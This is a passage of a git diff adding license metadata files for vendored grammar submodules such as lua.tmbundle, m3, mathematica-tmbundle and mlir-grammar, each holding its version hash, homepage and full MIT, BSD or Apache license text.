+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/logos.dep.yml b/vendor/licenses/git_submodule/logos.dep.yml
new file mode 100644
index 0000000000..fb0969e9ff
--- /dev/null
+++ b/vendor/licenses/git_submodule/logos.dep.yml
@@ -0,0 +1,31 @@
+---
+name: logos
+version: b939d35bc8d4da2ff70cb76b3321a37d573d29f7
+type: git_submodule
+homepage: https://github.com/Cykey/Sublime-Logos
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2016 David Murray
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/logtalk.tmbundle.dep.yml b/vendor/licenses/git_submodule/logtalk.tmbundle.dep.yml
new file mode 100644
index 0000000000..d2c1c27fae
--- /dev/null
+++ b/vendor/licenses/git_submodule/logtalk.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: logtalk.tmbundle
+version: 571a1da1ff43e5e6a9f46279e65aa53bf6151013
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/lua.tmbundle.dep.yml b/vendor/licenses/git_submodule/lua.tmbundle.dep.yml
new file mode 100644
index 0000000000..fe87a0e11d
--- /dev/null
+++ b/vendor/licenses/git_submodule/lua.tmbundle.dep.yml
@@ -0,0 +1,31 @@
+---
+name: lua.tmbundle
+version: 1483add845ebfb3e1e631fe372603e5fed2cdd42
+type: git_submodule
+homepage: https://github.com/LuaLS/lua.tmbundle.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2022 最萌小汐
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/m3.dep.yml b/vendor/licenses/git_submodule/m3.dep.yml
new file mode 100644
index 0000000000..ce3748076c
--- /dev/null
+++ b/vendor/licenses/git_submodule/m3.dep.yml
@@ -0,0 +1,39 @@
+---
+name: m3
+version: 155579bc3879e9d8dddee5bc26323348bddfcd5e
+type: git_submodule
+homepage: https://github.com/newgrammars/m3
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |
+    BSD 3-Clause License
+
+    Copyright (c) 2018, newgrammars
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice, this
+      list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+
+    * Neither the name of the copyright holder nor the names of its
+      contributors may be used to endorse or promote products derived from
+      this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/make.tmbundle.dep.yml b/vendor/licenses/git_submodule/make.tmbundle.dep.yml
new file mode 100644
index 0000000000..047fcda93e
--- /dev/null
+++ b/vendor/licenses/git_submodule/make.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: make.tmbundle
+version: 3839e8113db1ec23227dcd30d5a57508a9b05d5c
+type: git_submodule
+homepage: https://github.com/textmate/make.tmbundle
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/mako-tmbundle.dep.yml b/vendor/licenses/git_submodule/mako-tmbundle.dep.yml
new file mode 100644
index 0000000000..13f68299c8
--- /dev/null
+++ b/vendor/licenses/git_submodule/mako-tmbundle.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: mako-tmbundle
+version: 45037e4e98f0c215b55b194d303811d43b85407c
+license: mit
+licenses:
+- text: |-
+    This is the MIT license: http://www.opensource.org/licenses/mit-license.php
+
+    Copyright (C) 2006-2014 the Mako authors and contributors <see AUTHORS file>.
+    Mako is a trademark of Michael Bayer.
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this
+    software and associated documentation files (the "Software"), to deal in the Software
+    without restriction, including without limitation the rights to use, copy, modify, merge,
+    publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons
+    to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or
+    substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+    INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+    PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
+    FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+    OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+    DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/markdown-tm-language.dep.yml b/vendor/licenses/git_submodule/markdown-tm-language.dep.yml
new file mode 100644
index 0000000000..5914b2e621
--- /dev/null
+++ b/vendor/licenses/git_submodule/markdown-tm-language.dep.yml
@@ -0,0 +1,57 @@
+---
+name: markdown-tm-language
+version: 3f11836d11ca5ed41431ecd53dca7710c2c823ce
+type: git_submodule
+homepage: https://github.com/wooorm/markdown-tm-language.git
+license: mit
+licenses:
+- sources: license
+  text: |
+    (The MIT License)
+
+    Copyright (c) 2023 Titus Wormer <tituswormer@gmail.com>
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    'Software'), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+    CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+- sources: readme.md
+  text: |-
+    [MIT][license] © [Titus Wormer][author]
+
+    <!-- Definitions -->
+
+    [build-badge]: https://github.com/wooorm/markdown-tm-language/workflows/main/badge.svg
+
+    [build]: https://github.com/wooorm/markdown-tm-language/actions
+
+    [license]: license
+
+    [author]: https://wooorm.com
+
+    [contribute]: https://opensource.guide/how-to-contribute/
+
+    [markdown]: https://commonmark.org
+
+    [mdx]: https://mdxjs.com
+
+    [demo]: https://wooorm.com/markdown-tm-language/
+
+    [starry-night]: https://github.com/wooorm/starry-night
+
+    [shiki]: https://github.com/shikijs/shiki
+notices: []
diff --git a/vendor/licenses/git_submodule/marko-tmbundle.dep.yml b/vendor/licenses/git_submodule/marko-tmbundle.dep.yml
new file mode 100644
index 0000000000..ec3c290181
--- /dev/null
+++ b/vendor/licenses/git_submodule/marko-tmbundle.dep.yml
@@ -0,0 +1,30 @@
+---
+name: marko-tmbundle
+version: dd3a0c39e656bedd276d3bcbdea92a2d627755c7
+type: git_submodule
+homepage: https://github.com/marko-js/marko-tmbundle
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2014 David Rios
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/mathematica-tmbundle.dep.yml b/vendor/licenses/git_submodule/mathematica-tmbundle.dep.yml
new file mode 100644
index 0000000000..03b12ccec8
--- /dev/null
+++ b/vendor/licenses/git_submodule/mathematica-tmbundle.dep.yml
@@ -0,0 +1,211 @@
+---
+name: mathematica-tmbundle
+version: b61b94a2944a55ebd602cc35a91760ce052f889c
+type: git_submodule
+homepage: https://github.com/shadanan/mathematica-tmbundle
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 Shad Sharma
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/maven.tmbundle.dep.yml b/vendor/licenses/git_submodule/maven.tmbundle.dep.yml
new file mode 100644
index 0000000000..e1f361b280
--- /dev/null
+++ b/vendor/licenses/git_submodule/maven.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: maven.tmbundle
+version: 180999aa43b2dbb3d3953f0196e766420ec34553
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/mediawiki.tmbundle.dep.yml b/vendor/licenses/git_submodule/mediawiki.tmbundle.dep.yml
new file mode 100644
index 0000000000..43788660d9
--- /dev/null
+++ b/vendor/licenses/git_submodule/mediawiki.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: mediawiki.tmbundle
+version: 6974604d7e74bd5d7e262dfba839314b639d5a52
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/mercury-tmlanguage.dep.yml b/vendor/licenses/git_submodule/mercury-tmlanguage.dep.yml
new file mode 100644
index 0000000000..b3223297b2
--- /dev/null
+++ b/vendor/licenses/git_submodule/mercury-tmlanguage.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: mercury-tmlanguage
+version: cb57d42dbe343d3809c3dd7946f28f6354a2687e
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Sebastian Godelet
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/mint-vscode.dep.yml b/vendor/licenses/git_submodule/mint-vscode.dep.yml
new file mode 100644
index 0000000000..f54567c52b
--- /dev/null
+++ b/vendor/licenses/git_submodule/mint-vscode.dep.yml
@@ -0,0 +1,29 @@
+---
+name: mint-vscode
+version: 2de0c6ae292a3b23d71fa2eebfbb48f0a0cfb66b
+type: git_submodule
+homepage: https://github.com/mint-lang/mint-vscode
+license: mit
+licenses:
+- sources: Auto-generated MIT license text
+  text: |
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/mlir-grammar.dep.yml b/vendor/licenses/git_submodule/mlir-grammar.dep.yml
new file mode 100644
index 0000000000..f1fd189f35
--- /dev/null
+++ b/vendor/licenses/git_submodule/mlir-grammar.dep.yml
@@ -0,0 +1,211 @@
+---
+name: mlir-grammar
+version: 2b8d3029bcd9871b773707983ab2269a70ec2a0b
+type: git_submodule
+homepage: https://github.com/jpienaar/mlir-grammar
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
